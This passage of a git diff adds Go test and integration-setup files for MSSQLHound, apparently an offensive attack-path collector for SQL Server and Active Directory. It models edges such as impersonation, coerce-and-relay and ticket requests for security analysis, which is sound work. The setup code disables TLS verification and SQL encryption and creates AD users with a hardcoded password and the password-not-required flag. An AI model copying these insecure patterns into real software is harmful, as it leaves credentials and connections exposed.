+ + addProxyAccount(info, "BackupProxy", "DOMAIN\\DomainUser2", domainUser2SID, true, + []string{"CmdExec"}, []string{"HasProxyCredTest_BackupOperator", "DOMAIN\\EdgeTestDomainUser1"}) + + // Disabled proxy (edge still created per PS1) + addProxyAccount(info, "DisabledProxy", "DOMAIN\\DomainUser1", domainUser1SID, false, + []string{"SSIS"}, []string{"HasProxyCredTest_ETLOperator"}) + + return info +} + +func TestHasProxyCredEdges(t *testing.T) { + info := buildHasProxyCredTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, hasProxyCredTestCases, "offensive") +} + +// ============================================================================= +// IMPERSONATE +// ============================================================================= + +func buildImpersonateTestData() *types.ServerInfo { + info := baseServerInfo() + + // SERVER LEVEL + targetLogin := addSQLLogin(info, "ImpersonateTest_Login_TargetOf_Login_CanImpersonateLogin") + targetLogin2 := addSQLLogin(info, "ImpersonateTest_Login_TargetOf_ServerRole_CanImpersonateLogin") + + addSQLLogin(info, "ImpersonateTest_Login_CanImpersonateLogin", + withPermissions(targetPerm("IMPERSONATE", "GRANT", "SERVER_PRINCIPAL", + targetLogin.PrincipalID, targetLogin.ObjectIdentifier, targetLogin.Name))) + addServerRole(info, "ImpersonateTest_ServerRole_CanImpersonateLogin", + withPermissions(targetPerm("IMPERSONATE", "GRANT", "SERVER_PRINCIPAL", + targetLogin2.PrincipalID, targetLogin2.ObjectIdentifier, targetLogin2.Name))) + + // DATABASE LEVEL + db := addDatabase(info, "EdgeTest_Impersonate") + + targetDBUser1 := addDatabaseUser(db, "ImpersonateTest_User_TargetOf_User_CanImpersonateDbUser") + targetDBUser2 := addDatabaseUser(db, "ImpersonateTest_User_TargetOf_DbRole_CanImpersonateDbUser") + targetDBUser3 := addDatabaseUser(db, "ImpersonateTest_User_TargetOf_AppRole_CanImpersonateDbUser") + + addDatabaseUser(db, "ImpersonateTest_User_CanImpersonateDbUser", + withDBPrincipalPermissions(targetPerm("IMPERSONATE", "GRANT", "DATABASE_PRINCIPAL", + targetDBUser1.PrincipalID, targetDBUser1.ObjectIdentifier, targetDBUser1.Name))) + addDatabaseRole(db, "ImpersonateTest_DbRole_CanImpersonateDbUser", false, + withDBPrincipalPermissions(targetPerm("IMPERSONATE", "GRANT", "DATABASE_PRINCIPAL", + targetDBUser2.PrincipalID, targetDBUser2.ObjectIdentifier, targetDBUser2.Name))) + addAppRole(db, "ImpersonateTest_AppRole_CanImpersonateDbUser", + withDBPrincipalPermissions(targetPerm("IMPERSONATE", "GRANT", "DATABASE_PRINCIPAL", + targetDBUser3.PrincipalID, targetDBUser3.ObjectIdentifier, targetDBUser3.Name))) + + return info +} + +func TestImpersonateEdges(t *testing.T) { + info := buildImpersonateTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, impersonateTestCases, "offensive") +} + +// ============================================================================= +// HASDBSCOPEDCRED +// ============================================================================= + +func buildHasDBScopedCredTestData() *types.ServerInfo { + info := baseServerInfo() + + // Database with scoped credential + db := addDatabase(info, "EdgeTest_HasDBScopedCred") + addDBScopedCredential(db, "DomainUserCred", "DOMAIN\\CredUser", uniqueSID()) + + // master database without scoped credentials + addDatabase(info, "master") + + return info +} + +func TestHasDBScopedCredEdges(t *testing.T) { + info := buildHasDBScopedCredTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, hasDBScopedCredTestCases, "offensive") +} + +// ============================================================================= +// COERCEANDRELAYTOMSSQL +// ============================================================================= + +func buildCoerceAndRelayTestData() *types.ServerInfo { + info := baseServerInfo() + // EPA must be Off for CoerceAndRelay edges + info.ExtendedProtection = "Off" + + coerceEnabled1SID := uniqueSID() + coerceEnabled2SID := uniqueSID() + coerceDisabledSID := uniqueSID() + coerceNoConnectSID := uniqueSID() + coerceUserSID := uniqueSID() + + // Computer accounts with SQL logins (enabled, CONNECT SQL) + addWindowsLogin(info, "DOMAIN\\CoerceTestEnabled1$", coerceEnabled1SID, + withSecurityIdentifier(coerceEnabled1SID)) + addWindowsLogin(info, "DOMAIN\\CoerceTestEnabled2$", coerceEnabled2SID, + withSecurityIdentifier(coerceEnabled2SID)) + + // Computer with disabled SQL login + addWindowsLogin(info, "DOMAIN\\CoerceTestDisabled$", coerceDisabledSID, + withSecurityIdentifier(coerceDisabledSID), + withDisabled()) + + // Computer with CONNECT SQL denied + info.ServerPrincipals = append(info.ServerPrincipals, types.ServerPrincipal{ + ObjectIdentifier: "DOMAIN\\CoerceTestNoConnect$@" + info.ObjectIdentifier, + PrincipalID: uniquePrincipalID(), + Name: "DOMAIN\\CoerceTestNoConnect$", + TypeDescription: "WINDOWS_LOGIN", + IsActiveDirectoryPrincipal: true, + SecurityIdentifier: coerceNoConnectSID, + SQLServerName: info.SQLServerName, + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "DENY", ClassDesc: "SERVER"}, + }, + }) + + // Regular user (not computer - name doesn't end with $) + addWindowsLogin(info, "DOMAIN\\CoerceTestUser", coerceUserSID, + withSecurityIdentifier(coerceUserSID)) + + // SQL login (not Windows login - no HasLogin edge target) + addSQLLogin(info, "CoerceTestSQLLogin") + + return info +} + +func TestCoerceAndRelayEdges(t *testing.T) { + info := buildCoerceAndRelayTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, coerceAndRelayTestCases, "offensive") +} + +// ============================================================================= +// GETTGS +// ============================================================================= + +func buildGetTGSTestData() *types.ServerInfo { + info := baseServerInfo() + + // Domain users with SQL logins (enabled, CONNECT SQL) + addWindowsLogin(info, "DOMAIN\\EdgeTestDomainUser1", uniqueSID()) + addWindowsLogin(info, "DOMAIN\\EdgeTestDomainUser2", uniqueSID()) + addWindowsGroup(info, "DOMAIN\\EdgeTestDomainGroup", uniqueSID()) + addWindowsLogin(info, "DOMAIN\\EdgeTestSysadmin", uniqueSID(), + withMemberOf(roleMembership("sysadmin", testServerOID))) + + // Service account (domain account) + saSID := uniqueSID() + addServiceAccount(info, "DOMAIN\\SQLService", saSID, "MSSQLSERVER", "SQL Server") + + return info +} + +func TestGetTGSEdges(t *testing.T) { + info := buildGetTGSTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, getTGSTestCases, "offensive") +} + +// ============================================================================= +// GETADMINTGS +// ============================================================================= + +func TestGetAdminTGSEdges(t *testing.T) { + info := buildGetTGSTestData() // Re-use GetTGS data since it has domain sysadmin + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, getAdminTGSTestCases, "offensive") +} + +// ============================================================================= +// SERVICEACCOUNTFOR + HASSESSION +// ============================================================================= + +func buildServiceAccountForTestData() *types.ServerInfo { + info := baseServerInfo() + + // Domain service account (not a computer account) + saSID := uniqueSID() + addServiceAccount(info, "DOMAIN\\SQLService", saSID, "MSSQLSERVER", "SQL Server") + + return info +} + +func TestServiceAccountForEdges(t *testing.T) { + info := buildServiceAccountForTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, serviceAccountForTestCases, "offensive") +} + +// ============================================================================= +// COVERAGE TEST: Verify all edge types have test cases +// ============================================================================= + +func TestAllEdgeTypesHaveCoverage(t *testing.T) { + byType := testCasesByEdgeType() + + // All edge kinds that should have test coverage + allKinds := []string{ + bloodhound.EdgeKinds.AddMember, + bloodhound.EdgeKinds.Alter, + bloodhound.EdgeKinds.AlterAnyAppRole, + bloodhound.EdgeKinds.AlterAnyDBRole, + bloodhound.EdgeKinds.AlterAnyLogin, + bloodhound.EdgeKinds.AlterAnyServerRole, + bloodhound.EdgeKinds.ChangeOwner, + bloodhound.EdgeKinds.ChangePassword, + bloodhound.EdgeKinds.CoerceAndRelayTo, + bloodhound.EdgeKinds.Connect, + bloodhound.EdgeKinds.ConnectAnyDatabase, + bloodhound.EdgeKinds.Contains, + bloodhound.EdgeKinds.Control, + bloodhound.EdgeKinds.ControlDB, + bloodhound.EdgeKinds.ControlServer, + bloodhound.EdgeKinds.ExecuteAs, + bloodhound.EdgeKinds.ExecuteAsOwner, + bloodhound.EdgeKinds.ExecuteOnHost, + bloodhound.EdgeKinds.GetAdminTGS, + bloodhound.EdgeKinds.GetTGS, + bloodhound.EdgeKinds.GrantAnyDBPermission, + bloodhound.EdgeKinds.GrantAnyPermission, + bloodhound.EdgeKinds.HasDBScopedCred, + bloodhound.EdgeKinds.HasLogin, + bloodhound.EdgeKinds.HasMappedCred, + bloodhound.EdgeKinds.HasProxyCred, + bloodhound.EdgeKinds.HasSession, + bloodhound.EdgeKinds.HostFor, + bloodhound.EdgeKinds.Impersonate, + bloodhound.EdgeKinds.ImpersonateAnyLogin, + bloodhound.EdgeKinds.IsMappedTo, + bloodhound.EdgeKinds.IsTrustedBy, + bloodhound.EdgeKinds.LinkedAsAdmin, + bloodhound.EdgeKinds.LinkedTo, + bloodhound.EdgeKinds.MemberOf, + bloodhound.EdgeKinds.Owns, + bloodhound.EdgeKinds.ServiceAccountFor, + bloodhound.EdgeKinds.TakeOwnership, + } + + for _, kind := range allKinds { + if _, ok := byType[kind]; !ok { + t.Errorf("Edge type %s has no test cases", kind) + } + } +} diff --git a/go/internal/collector/integration_report_test.go b/go/internal/collector/integration_report_test.go new file mode 100644 index 0000000..12e84e5 --- /dev/null +++ b/go/internal/collector/integration_report_test.go @@ -0,0 +1,463 @@ +//go:build integration + +package collector + +import ( + "encoding/json" + "fmt" + "html/template" + "os" + "path/filepath" + "sort" + "strings" + "testing" + "time" + + "github.com/SpecterOps/MSSQLHound/internal/bloodhound" +) + +// ============================================================================= +// COVERAGE ANALYSIS (ports PS1 Get-EdgeCoverage) +// ============================================================================= + +// coverageEntry represents coverage status for a single edge type. +type coverageEntry struct { + EdgeType string `json:"edgeType"` + Offensive bool `json:"offensive"` + Status string `json:"status"` +} + +// offensiveOnlyEdges are edges that only exist in offensive perspective. +var offensiveOnlyEdges = []string{ + "MSSQL_AddMember", + "MSSQL_Alter", + "MSSQL_ChangeOwner", + "MSSQL_ChangePassword", + "MSSQL_Control", + "MSSQL_ExecuteAs", + "MSSQL_Impersonate", +} + +// bothPerspectivesEdges are edges that exist in both perspectives. +var bothPerspectivesEdges = []string{ + "CoerceAndRelayToMSSQL", + "HasSession", + "MSSQL_AlterAnyAppRole", + "MSSQL_AlterAnyDBRole", + "MSSQL_AlterAnyLogin", + "MSSQL_AlterAnyServerRole", + "MSSQL_Connect", + "MSSQL_ConnectAnyDatabase", + "MSSQL_Contains", + "MSSQL_ControlDB", + "MSSQL_ControlServer", + "MSSQL_ExecuteAsOwner", + "MSSQL_ExecuteOnHost", + "MSSQL_GetAdminTGS", + "MSSQL_GetTGS", + "MSSQL_GrantAnyDBPermission", + "MSSQL_GrantAnyPermission", + "MSSQL_HasDBScopedCred", + "MSSQL_HasLogin", + "MSSQL_HasMappedCred", + "MSSQL_HasProxyCred", + "MSSQL_HostFor", + "MSSQL_ImpersonateAnyLogin", + "MSSQL_IsMappedTo", + "MSSQL_IsTrustedBy", + "MSSQL_LinkedAsAdmin", + "MSSQL_LinkedTo", + "MSSQL_MemberOf", + "MSSQL_Owns", + "MSSQL_ServiceAccountFor", + "MSSQL_TakeOwnership", +} + +func getAllEdgeTypes() []string { + var all []string + all = append(all, offensiveOnlyEdges...) + all = append(all, bothPerspectivesEdges...) + sort.Strings(all) + return all +} + +func isOffensiveOnly(edgeType string) bool { + for _, e := range offensiveOnlyEdges { + if e == edgeType { + return true + } + } + return false +} + +// analyzeCoverage analyzes which edge types were found in test runs. +func analyzeCoverage(runs []integrationTestRun) []coverageEntry { + foundEdges := make(map[string]bool) + + for _, run := range runs { + for _, edge := range run.Edges { + foundEdges[edge.Kind] = true + } + } + + allEdgeTypes := getAllEdgeTypes() + var report []coverageEntry + + for _, edgeType := range allEdgeTypes { + found := foundEdges[edgeType] + + var status string + if found { + status = "Found" + } else { + status = "MISSING" + } + + report = append(report, coverageEntry{ + EdgeType: edgeType, + Offensive: found, + Status: status, + }) + } + + return report +} + +// ============================================================================= +// MISSING TESTS ANALYSIS (ports PS1 Get-MissingTests) +// ============================================================================= + +type missingTestsResult struct { + EdgeTypesWithTests []string `json:"edgeTypesWithTests"` + EdgeTypesWithoutTests []string `json:"edgeTypesWithoutTests"` + UnknownEdgeTypes []string `json:"unknownEdgeTypes"` +} + +func analyzeMissingTests() missingTestsResult { + allTestCases := getAllTestCases() + + // Collect unique edge types that have test cases + edgeTypesWithTests := make(map[string]bool) + for _, tc := range allTestCases { + edgeTypesWithTests[tc.EdgeType] = true + } + + allEdgeTypes := getAllEdgeTypes() + + var withTests, withoutTests, unknown []string + + edgeTypeSet := make(map[string]bool) + for _, e := range allEdgeTypes { + edgeTypeSet[e] = true + } + + for edgeType := range edgeTypesWithTests { + if edgeTypeSet[edgeType] { + withTests = append(withTests, edgeType) + } else { + unknown = append(unknown, edgeType) + } + } + + for _, edgeType := range allEdgeTypes { + if !edgeTypesWithTests[edgeType] { + withoutTests = append(withoutTests, edgeType) + } + } + + sort.Strings(withTests) + sort.Strings(withoutTests) + sort.Strings(unknown) + + return missingTestsResult{ + EdgeTypesWithTests: withTests, + EdgeTypesWithoutTests: withoutTests, + UnknownEdgeTypes: unknown, + } +} + +// ============================================================================= +// REPORT GENERATION +// ============================================================================= + +// testReport is the JSON report structure. +type testReport struct { + Timestamp time.Time `json:"timestamp"` + ServerInstance string `json:"serverInstance"` + Domain string `json:"domain"` + TestRuns []testRunSummary `json:"testRuns"` + Coverage []coverageEntry `json:"coverage"` + MissingTests missingTestsResult `json:"missingTests"` + Summary testReportSummary `json:"summary"` +} + +type testRunSummary struct { + Perspective string `json:"perspective"` + TotalTests int `json:"totalTests"` + Passed int `json:"passed"` + Failed int `json:"failed"` + PassRate string `json:"passRate"` + EdgeCount int `json:"edgeCount"` + NodeCount int `json:"nodeCount"` +} + +type testReportSummary struct { + TotalEdgeTypes int `json:"totalEdgeTypes"` + CoveredEdgeTypes int `json:"coveredEdgeTypes"` + MissingEdgeTypes int `json:"missingEdgeTypes"` + TotalTests int `json:"totalTests"` + TotalPassed int `json:"totalPassed"` + TotalFailed int `json:"totalFailed"` +} + +// runIntegrationReport generates JSON and HTML reports. +func runIntegrationReport(t *testing.T, cfg *integrationConfig) { + t.Helper() + + testRuns := loadTestRuns(t) + if len(testRuns) == 0 { + t.Skip("No test runs found - run edges test first") + } + + coverage := analyzeCoverage(testRuns) + missingTests := analyzeMissingTests() + + // Build report + report := testReport{ + Timestamp: time.Now(), + ServerInstance: cfg.ServerInstance, + Domain: cfg.Domain, + Coverage: coverage, + MissingTests: missingTests, + } + + totalTests := 0 + totalPassed := 0 + totalFailed := 0 + + for _, run := range testRuns { + passed := 0 + failed := 0 + for _, result := range run.Results { + if result.Passed { + passed++ + } else { + failed++ + } + } + + total := passed + failed + passRate := "0%" + if total > 0 { + passRate = fmt.Sprintf("%.1f%%", float64(passed)/float64(total)*100) + } + + report.TestRuns = append(report.TestRuns, testRunSummary{ + Perspective: run.Perspective, + TotalTests: total, + Passed: passed, + Failed: failed, + PassRate: passRate, + EdgeCount: len(run.Edges), + NodeCount: len(run.Nodes), + }) + + totalTests += total + totalPassed += passed + totalFailed += failed + } + + coveredCount := 0 + missingCount := 0 + for _, entry := range coverage { + if entry.Status == "MISSING" { + missingCount++ + } else if entry.Status != "Not Tested" && !strings.HasPrefix(entry.Status, "N/A") { + coveredCount++ + } + } + + report.Summary = testReportSummary{ + TotalEdgeTypes: len(getAllEdgeTypes()), + CoveredEdgeTypes: coveredCount, + MissingEdgeTypes: missingCount, + TotalTests: totalTests, + TotalPassed: totalPassed, + TotalFailed: totalFailed, + } + + // Generate JSON report + outputDir := filepath.Join(os.TempDir(), "mssqlhound-reports") + os.MkdirAll(outputDir, 0755) + + jsonPath := filepath.Join(outputDir, + fmt.Sprintf("integration-report-%s.json", time.Now().Format("20060102-150405"))) + jsonData, _ := json.MarshalIndent(report, "", " ") + os.WriteFile(jsonPath, jsonData, 0644) + t.Logf("JSON report: %s", jsonPath) + + // Generate HTML report + if !cfg.SkipHTMLReport { + htmlPath := filepath.Join(outputDir, + fmt.Sprintf("integration-report-%s.html", time.Now().Format("20060102-150405"))) + if err := generateHTMLReport(report, htmlPath); err != nil { + t.Logf("Warning: Failed to generate HTML report: %v", err) + } else { + t.Logf("HTML report: %s", htmlPath) + } + } +} + +// ============================================================================= +// HTML REPORT (ports PS1 Generate-HTMLReport) +// ============================================================================= + +func generateHTMLReport(report testReport, path string) error { + tmpl, err := template.New("report").Funcs(template.FuncMap{ + "statusColor": func(status string) string { + switch { + case status == "Both" || strings.Contains(status, "Expected") || strings.HasPrefix(status, "Found"): + return "#28a745" + case status == "MISSING": + return "#dc3545" + case strings.HasPrefix(status, "Partial"): + return "#ffc107" + default: + return "#6c757d" + } + }, + "resultColor": func(passed bool) string { + if passed { + return "#28a745" + } + return "#dc3545" + }, + }).Parse(htmlReportTemplate) + if err != nil { + return fmt.Errorf("failed to parse HTML template: %w", err) + } + + f, err := os.Create(path) + if err != nil { + return fmt.Errorf("failed to create HTML file: %w", err) + } + defer f.Close() + + return tmpl.Execute(f, report) +} + +// edgeKindDisplayName returns a display-friendly name for an edge type. +func edgeKindDisplayName(kind string) string { + return strings.TrimPrefix(kind, "MSSQL_") +} + +var htmlReportTemplate = ` + + + + + MSSQLHound Integration Test Report + + + +
+

MSSQLHound Integration Test Report

+

Server: {{.ServerInstance}} | Domain: {{.Domain}} | {{.Timestamp.Format "2006-01-02 15:04:05"}}

+
+
+
+
+

{{.Summary.TotalTests}}

+

Total Tests

+
+
+

{{.Summary.TotalPassed}}

+

Passed

+
+
+

{{.Summary.TotalFailed}}

+

Failed

+
+
+

{{.Summary.CoveredEdgeTypes}}/{{.Summary.TotalEdgeTypes}}

+

Edge Types Covered

+
+
+ + {{range .TestRuns}} +
+

{{.Perspective}} Perspective

+

{{.TotalTests}} tests | {{.Passed}} passed | {{.Failed}} failed | {{.PassRate}} pass rate | {{.EdgeCount}} edges | {{.NodeCount}} nodes

+
+ {{end}} + +
+

Edge Type Coverage

+
+ {{range .Coverage}} +
+ {{.EdgeType}}
+ {{.Status}} +
+ {{end}} +
+
+ + {{if .MissingTests.EdgeTypesWithoutTests}} +
+

Edge Types Without Tests

+
    + {{range .MissingTests.EdgeTypesWithoutTests}} +
  • {{.}}
  • + {{end}} +
+
+ {{end}} +
+ + +` + +// Ensure bloodhound types are used (they're referenced in integrationTestRun) +var _ = bloodhound.Edge{} diff --git a/go/internal/collector/integration_setup_test.go b/go/internal/collector/integration_setup_test.go new file mode 100644 index 0000000..63cd05e --- /dev/null +++ b/go/internal/collector/integration_setup_test.go @@ -0,0 +1,637 @@ +//go:build integration + +package collector + +import ( + "context" + "crypto/tls" + "database/sql" + "fmt" + "net" + "os" + "regexp" + "strings" + "testing" + "time" + + "github.com/go-ldap/ldap/v3" + _ "github.com/microsoft/go-mssqldb" +) + +// integrationConfig holds configuration for integration tests, loaded from environment variables. +type integrationConfig struct { + ServerInstance string // SQL Server instance (default: ps1-db.mayyhem.com) + UserID string // Sysadmin user for setup (empty = Windows auth) + Password string // Sysadmin password + Domain string // AD domain name (default: $USERDOMAIN) + DCIP string // Domain controller (optional, auto-discovered) + LDAPUser string // LDAP credentials for AD operations + LDAPPassword string // LDAP password + Perspective string // "offensive", "defensive", or "both" (default: "both") + LimitToEdge string // Limit to specific edge type (optional) + SkipDomain bool // Skip AD object creation + Action string // "all", "setup", "test", "teardown", "coverage" (default: "all") + SkipHTMLReport bool // Skip HTML report generation + ZipFile string // Path to existing MSSQLHound .zip output to validate + + // Enumeration user (defaults to MSSQL_USER/MSSQL_PASSWORD) + EnumUserID string + EnumPassword string +} + +func loadIntegrationConfig() *integrationConfig { + cfg := &integrationConfig{ + ServerInstance: envOrDefault("MSSQL_SERVER", "ps1-db.mayyhem.com"), + UserID: os.Getenv("MSSQL_USER"), + Password: os.Getenv("MSSQL_PASSWORD"), + Domain: envOrDefault("MSSQL_DOMAIN", os.Getenv("USERDOMAIN")), + DCIP: os.Getenv("MSSQL_DC"), + LDAPUser: os.Getenv("LDAP_USER"), + LDAPPassword: os.Getenv("LDAP_PASSWORD"), + Perspective: envOrDefault("MSSQL_PERSPECTIVE", "both"), + LimitToEdge: os.Getenv("MSSQL_LIMIT_EDGE"), + SkipDomain: os.Getenv("MSSQL_SKIP_DOMAIN") == "true", + Action: envOrDefault("MSSQL_ACTION", "all"), + SkipHTMLReport: os.Getenv("MSSQL_SKIP_HTML") == "true", + ZipFile: os.Getenv("MSSQL_ZIP"), + EnumUserID: envOrDefault("MSSQL_ENUM_USER", os.Getenv("MSSQL_USER")), + EnumPassword: envOrDefault("MSSQL_ENUM_PASSWORD", os.Getenv("MSSQL_PASSWORD")), + } + return cfg +} + +func envOrDefault(key, defaultVal string) string { + if v := os.Getenv(key); v != "" { + return v + } + return defaultVal +} + +// ============================================================================= +// SQL CONNECTION +// ============================================================================= + +// resolveServerInstance resolves the server hostname using the DC as DNS resolver +// when DCIP is set and the system resolver can't resolve the hostname. +// Returns the instance string with the hostname replaced by the resolved IP if needed. +func resolveServerInstance(instance, dcIP string) string { + if dcIP == "" { + return instance + } + + // Split instance into host and optional port/instance-name parts + host := instance + suffix := "" + if idx := strings.LastIndex(instance, ":"); idx != -1 { + host = instance[:idx] + suffix = instance[idx:] + } else if idx := strings.Index(instance, "\\"); idx != -1 { + host = instance[:idx] + suffix = instance[idx:] + } + + // Skip if already an IP + if net.ParseIP(host) != nil { + return instance + } + + // Try resolving with the custom DNS resolver + resolver := &net.Resolver{ + PreferGo: true, + Dial: func(ctx context.Context, network, address string) (net.Conn, error) { + d := net.Dialer{Timeout: 5 * time.Second} + return d.DialContext(ctx, "udp", net.JoinHostPort(dcIP, "53")) + }, + } + + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + + addrs, err := resolver.LookupHost(ctx, host) + if err != nil || len(addrs) == 0 { + return instance // fall back to original + } + + return addrs[0] + suffix +} + +// connectSQL creates a SQL connection for setup/teardown operations (sysadmin). +func connectSQL(cfg *integrationConfig) (*sql.DB, error) { + // Resolve hostname via DC if system DNS can't reach the server + serverInstance := resolveServerInstance(cfg.ServerInstance, cfg.DCIP) + + var connStr string + if cfg.UserID != "" { + connStr = fmt.Sprintf("sqlserver://%s:%s@%s?database=master&encrypt=disable", + cfg.UserID, cfg.Password, serverInstance) + } else { + // Windows authentication + connStr = fmt.Sprintf("sqlserver://%s?database=master&encrypt=disable&integrated+security=sspi", + serverInstance) + } + + db, err := sql.Open("sqlserver", connStr) + if err != nil { + return nil, fmt.Errorf("failed to open SQL connection: %w", err) + } + + db.SetConnMaxLifetime(5 * time.Minute) + db.SetMaxOpenConns(5) + + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + + if err := db.PingContext(ctx); err != nil { + db.Close() + return nil, fmt.Errorf("failed to ping SQL Server %s: %w", cfg.ServerInstance, err) + } + + return db, nil +} + +// ============================================================================= +// SQL BATCH EXECUTION +// ============================================================================= + +// executeSQLBatches splits SQL on GO statements and executes each batch. +// This mirrors the PS1 Invoke-TestSQL function's batch handling. +func executeSQLBatches(ctx context.Context, db *sql.DB, script string, timeout int) error { + if timeout == 0 { + timeout = 60 + } + + batches := splitSQLBatches(script) + + currentDB := "master" + for i, batch := range batches { + batch = strings.TrimSpace(batch) + if batch == "" { + continue + } + + batchCtx, cancel := context.WithTimeout(ctx, time.Duration(timeout)*time.Second) + + // Execute the batch, prepending USE if needed to maintain database context + execSQL := batch + if currentDB != "master" && !strings.HasPrefix(strings.ToUpper(strings.TrimSpace(batch)), "USE ") { + execSQL = fmt.Sprintf("USE [%s];\n%s", currentDB, batch) + } + + _, err := db.ExecContext(batchCtx, execSQL) + cancel() + if err != nil { + return fmt.Errorf("batch %d failed (database: %s): %w\nSQL: %s", + i+1, currentDB, err, truncateSQL(batch, 200)) + } + + // Update currentDB AFTER execution so USE statements within a batch + // affect subsequent batches, not the current one + if useDB := extractUseDatabase(batch); useDB != "" { + currentDB = useDB + } + } + + return nil +} + +// splitSQLBatches splits a SQL script on GO statement lines. +func splitSQLBatches(script string) []string { + // GO must be on its own line (optionally preceded/followed by whitespace) + goPattern := regexp.MustCompile(`(?mi)^\s*GO\s*$`) + parts := goPattern.Split(script, -1) + + var batches []string + for _, p := range parts { + p = strings.TrimSpace(p) + if p != "" { + batches = append(batches, p) + } + } + return batches +} + +// extractUseDatabase extracts the database name from a USE statement. +func extractUseDatabase(sql string) string { + usePattern := regexp.MustCompile(`(?i)^\s*USE\s+\[?([^\];\s]+)\]?\s*;?\s*$`) + lines := strings.Split(sql, "\n") + for _, line := range lines { + if m := usePattern.FindStringSubmatch(strings.TrimSpace(line)); m != nil { + return m[1] + } + } + return "" +} + +func truncateSQL(s string, maxLen int) string { + if len(s) > maxLen { + return s[:maxLen] + "..." + } + return s +} + +// ============================================================================= +// DOMAIN SUBSTITUTION +// ============================================================================= + +// substituteDomain replaces domain references in SQL scripts. +// Handles both $Domain placeholders and hardcoded MAYYHEM references. +func substituteDomain(sql, domain string) string { + if domain == "" { + return sql + } + + // Extract NetBIOS name (first component) for DOMAIN\user style references. + // SQL Server expects NetBIOS names (e.g. MAYYHEM\user), not FQDNs (mayyhem.com\user). + netbios := strings.ToUpper(domain) + if idx := strings.Index(netbios, "."); idx != -1 { + netbios = netbios[:idx] + } + + // Replace $Domain placeholder (used in scripts that had PS1 interpolation) + sql = strings.ReplaceAll(sql, "$Domain", netbios) + + // Replace hardcoded MAYYHEM domain + sql = strings.ReplaceAll(sql, "MAYYHEM\\", netbios+"\\") + + return sql +} + +// ============================================================================= +// AD OBJECT CREATION VIA LDAP +// ============================================================================= + +// domainToDN converts a domain name to an LDAP distinguished name. +// e.g., "mayyhem.com" -> "DC=mayyhem,DC=com" +func domainToDN(domain string) string { + parts := strings.Split(domain, ".") + var dn []string + for _, p := range parts { + dn = append(dn, "DC="+p) + } + return strings.Join(dn, ",") +} + +// ldapConnect establishes an LDAP connection to the domain controller. +func ldapConnect(cfg *integrationConfig) (*ldap.Conn, string, error) { + dc := cfg.DCIP + if dc == "" { + dc = cfg.Domain + } + + baseDN := domainToDN(cfg.Domain) + + // Try LDAPS first (port 636) + conn, err := ldap.DialURL(fmt.Sprintf("ldaps://%s:636", dc), + ldap.DialWithTLSConfig(&tls.Config{ + InsecureSkipVerify: true, //nolint:gosec + })) + if err != nil { + // Fall back to LDAP (port 389) + conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", dc)) + if err != nil { + return nil, "", fmt.Errorf("failed to connect to LDAP on %s: %w", dc, err) + } + } + + // Bind with credentials + if cfg.LDAPUser != "" { + bindDN := cfg.LDAPUser + if !strings.Contains(bindDN, "=") { + // Simple username - construct bind DN + if strings.Contains(bindDN, "\\") { + // DOMAIN\user format - use UPN bind + parts := strings.SplitN(bindDN, "\\", 2) + bindDN = fmt.Sprintf("%s@%s", parts[1], cfg.Domain) + } + } + if err := conn.Bind(bindDN, cfg.LDAPPassword); err != nil { + conn.Close() + return nil, "", fmt.Errorf("LDAP bind failed: %w", err) + } + } + + return conn, baseDN, nil +} + +// createDomainObjects creates all test AD objects needed for integration tests. +func createDomainObjects(t *testing.T, cfg *integrationConfig) { + t.Helper() + + if cfg.SkipDomain { + t.Log("Skipping domain object creation (MSSQL_SKIP_DOMAIN=true)") + return + } + + conn, baseDN, err := ldapConnect(cfg) + if err != nil { + t.Fatalf("Failed to connect to LDAP: %v", err) + } + defer conn.Close() + + usersOU := "CN=Users," + baseDN + computersOU := "CN=Computers," + baseDN + + // Create domain users + domainUsers := []string{ + "EdgeTestDomainUser1", + "EdgeTestDomainUser2", + "EdgeTestSysadmin", + "EdgeTestServiceAcct", + "EdgeTestDisabledUser", + "EdgeTestNoConnect", + "EdgeTestCoerce", + "CoerceTestUser", + } + + for _, username := range domainUsers { + createDomainUser(t, conn, usersOU, username, "TestP@ssw0rd123!") + } + + // Create computer accounts + computers := []string{ + "TestComputer", + "CoerceTestEnabled1", + "CoerceTestEnabled2", + "CoerceTestDisabled", + "CoerceTestNoConnect", + } + + for _, name := range computers { + createComputerAccount(t, conn, computersOU, name) + } + + // Create security group with membership + createSecurityGroup(t, conn, usersOU, "EdgeTestDomainGroup") + addGroupMember(t, conn, "CN=EdgeTestDomainGroup,"+usersOU, "CN=EdgeTestDomainUser1,"+usersOU) +} + +// createDomainUser creates an AD user via LDAP. +func createDomainUser(t *testing.T, conn *ldap.Conn, ouDN, username, password string) { + t.Helper() + + dn := fmt.Sprintf("CN=%s,%s", username, ouDN) + + // Check if user already exists + searchReq := ldap.NewSearchRequest( + ouDN, ldap.ScopeSingleLevel, ldap.NeverDerefAliases, 0, 0, false, + fmt.Sprintf("(sAMAccountName=%s)", username), + []string{"dn"}, nil) + sr, err := conn.Search(searchReq) + if err == nil && len(sr.Entries) > 0 { + t.Logf("Domain user already exists: %s", username) + return + } + + addReq := ldap.NewAddRequest(dn, nil) + addReq.Attribute("objectClass", []string{"top", "person", "organizationalPerson", "user"}) + addReq.Attribute("cn", []string{username}) + addReq.Attribute("sAMAccountName", []string{username}) + addReq.Attribute("userPrincipalName", []string{username + "@" + strings.ToLower(extractDomainFromDN(ouDN))}) + addReq.Attribute("userAccountControl", []string{"544"}) // NORMAL_ACCOUNT + PASSWD_NOTREQD + + if err := conn.Add(addReq); err != nil { + t.Logf("Warning: Failed to create domain user %s: %v", username, err) + return + } + + // Set password using LDAP modify + encodedPassword := encodeADPassword(password) + modReq := ldap.NewModifyRequest(dn, nil) + modReq.Replace("unicodePwd", []string{encodedPassword}) + modReq.Replace("userAccountControl", []string{"512"}) // NORMAL_ACCOUNT (enable) + + 